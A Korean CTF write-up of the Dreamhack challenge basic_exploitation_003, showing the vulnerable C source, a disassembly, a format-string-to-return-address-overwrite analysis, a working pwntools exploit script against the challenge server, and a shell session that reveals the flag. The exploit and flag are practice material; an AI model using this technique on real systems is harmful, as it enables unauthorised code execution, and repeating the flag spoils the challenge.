Wargame & CTF/Dreamhack

basic_exploitation_003

g.s.song 2025. 1. 16. 10:45

1. Prob


이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

 

2. Analysis


기존 풀이 완료했던 basic_exploitation_001 보다는 조금 어려워졌을 것으로 생각된다. 역시 Return Address Overwrite를 사용하여 문제를 풀이하여야 한다고 암시한다. 해당 문제 역시 소스코드를 주기 때문에 디컴파일러를 사용하지 않고 소스코드를 통해 취약점을 찾고, 해당 취약점이 Exploitable 한지 동적 분석을 통해 확인한다. 문제에서 주어지는 소스코드는 아래와 같다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

 

main( ) 함수 내 코드를 살펴보면, heap_buf 라는 포인터 변수를 선언하고, malloc( ) 을 사용하여 0x80 = 128byte 만큼의 동적 메모리를 할당한다. 그리고 0x90 = 144byte 크기의 배열 stack_buf 을 선언하고, read( ) 함수를 이용해서 동적으로 할당한 메모리 공간에 사용자 입력을 저장한다. 그리고 sprintf( ) 함수를 사용하여 heap_buf 메모리 내에 저장된 데이터를 stack_buf를 출력 버퍼로 하여 데이터를 출력한다.

이 코드에 존재하는 취약점을 확인해보자. 먼저 sprintf( ) 함수의 정의를 살펴보면 아래와 같다.

#include <stdio.h>
int sprintf(char *buffer, const char *format-string, argument-list);

sprintf( ) 함수의 두 번째 인자는 const char *format-string 이다. 즉, 두 번째 인자는 포매팅 문자열로 사용되기 때문에, 사용자 입력을 그대로 사용할 경우, FSB (Format String Bug) 취약점이 발생하게 된다.

두 번째로 sprintf( ) 취약점은 문자열이 EOS ('\0')를 만날 때 까지 메모리를 계속 읽으려고 시도한다. 이는 유효 범위를 넘어선 메모리에 접근할 수 있는 Out-Of Bounds (OOB) Read 취약점이 발생하게 된다.

세 번째로, FSB 취약점을 통해 Buffer Overflow 취약점이 발생한다. 예를 들어 heap_buf 에 "%1000s" 와 같은 특수 포맷 지정자가 저장되어 있는 경우 이 문자열은 FSB 취약점으로 인해 1000byte 이상의 메모리를 stack_buf에 쓰게 만든다. 그러나 stack_buf의 크기는 144byte 이므로 Buffer Overflow가 발생하게 된다.

 

어떤 취약점이 발생하는지 확인하였으므로, get_shell( ) 함수를 실행시키기 위해 어떤 취약점을 사용해야 할지 고민해야 한다. 입력은 read( ) 함수를 통해 입력을 받고, heap_buf 보다 stack_buf 의 크기가 크기 때문에 단순히 버퍼를 채우는 방법으로는 버퍼 오버플로우 취약점을 트리거할 수 없다. 따라서 sprintf( ) 함수에서 발생하는 FSB 취약점을 사용하여 Buffer Overflow 취약점을 트리거링하는 방법을 사용한다. 이제 gdb를 사용하여 동적 분석을 진행해보자.

 

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0804867c <+0>:     push   ebp
   0x0804867d <+1>:     mov    ebp,esp
   0x0804867f <+3>:     push   edi
   0x08048680 <+4>:     sub    esp,0x94
   0x08048686 <+10>:    push   0x80
   0x0804868b <+15>:    call   0x8048490 <malloc@plt>
   0x08048690 <+20>:    add    esp,0x4
   0x08048693 <+23>:    mov    DWORD PTR [ebp-0x8],eax
   0x08048696 <+26>:    lea    edx,[ebp-0x98]
   0x0804869c <+32>:    mov    eax,0x0
   0x080486a1 <+37>:    mov    ecx,0x24
   0x080486a6 <+42>:    mov    edi,edx
   0x080486a8 <+44>:    rep stos DWORD PTR es:[edi],eax
   0x080486aa <+46>:    call   0x8048622 <initialize>
   0x080486af <+51>:    push   0x80
   0x080486b4 <+56>:    push   DWORD PTR [ebp-0x8]
   0x080486b7 <+59>:    push   0x0
   0x080486b9 <+61>:    call   0x8048450 <read@plt>
   0x080486be <+66>:    add    esp,0xc
   0x080486c1 <+69>:    push   DWORD PTR [ebp-0x8]
   0x080486c4 <+72>:    lea    eax,[ebp-0x98]
   0x080486ca <+78>:    push   eax
   0x080486cb <+79>:    call   0x80484f0 <sprintf@plt>
   0x080486d0 <+84>:    add    esp,0x8
   0x080486d3 <+87>:    lea    eax,[ebp-0x98]
   0x080486d9 <+93>:    push   eax
   0x080486da <+94>:    push   0x8048791
   0x080486df <+99>:    call   0x8048460 <printf@plt>
   0x080486e4 <+104>:   add    esp,0x8
   0x080486e7 <+107>:   mov    eax,0x0
   0x080486ec <+112>:   mov    edi,DWORD PTR [ebp-0x4]
   0x080486ef <+115>:   leave
   0x080486f0 <+116>:   ret
End of assembler dump.

 

먼저 stack_buf 가 ebp로부터 0x98 만큼 떨어져 있으므로, ret까지의 거리는 여기에 4 byte (SFP) 를 더한 156 byte 일 것이다. gdb를 통해 아래와 같이 확인할 수 있다.

 

pwndbg> r <<< $(python -c 'print("%156c" + "AAAA")')

(중략)

Breakpoint 1, 0x080486cb in main ()

(중략)

pwndbg> c
Continuing.
ECHO :
                                           AAAA


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*EAX  0
 EBX  0xf7f9ee34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
*ECX  0
*EDX  0
*EDI  0x20202020 ('    ')
 ESI  0x8048700 (__libc_csu_init) ◂— push ebp
*EBP  0x20202020 ('    ')
*ESP  0xffffd390 ◂— 0xa /* '\n' */
*EIP  0x41414141 ('AAAA')
───────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────
Invalid address 0x41414141

(중략)

pwndbg>

 

예상했던 바와 다르지 않으므로, give_shell 주소만 알면 어렵지 않게 문제를 풀 수 있다.

from pwn import*

p = remote('host1.dreamhack.games',18518)
elf = ELF("./basic_exploitation_003")

payload = b'%156c'
payload += p32(elf.symbols['get_shell'])

p.sendline(payload)
p.interactive()
gssong@cybersecurity:~/Desktop$ python b_ex_003.py
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/gssong/.cache/.pwntools-cache-3.12/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (4.12.0)
[+] Opening connection to host1.dreamhack.games on port 18518: Done
[*] '/home/gssong/Desktop/basic_exploitation_003'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
ECHO :                                                                                                                                                             i\x86\x0

$ ls
basic_exploitation_003
flag
$ cat flag
DH{4e6e355c62249b2da3b566f0d575007e}[*] Got EOF while reading in interactive